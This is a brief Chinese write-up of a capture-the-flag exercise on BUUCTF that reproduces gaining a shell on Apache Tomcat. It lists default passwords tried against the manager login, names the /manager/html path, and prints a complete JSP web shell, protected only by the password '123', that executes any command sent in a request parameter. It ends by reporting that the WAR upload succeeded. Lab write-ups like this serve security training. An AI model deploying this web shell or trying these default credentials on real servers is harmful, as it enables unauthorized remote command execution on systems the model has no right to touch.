Tomcat弱口令+后台getshell简单复现

1.简介

略过吧

2.环境

BUUCTF

3.动手

简单的弱口令爆破，随手试了几个密码什么的

admin：admin888
admin：admin123
tomcat:tomcat

这不就进来了吗

不过看起来进错了位置，再来应该是/manager/html这个路径

4.编译一个war包

jsp马倒是有现成的，直接拿打包好的

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

上传成功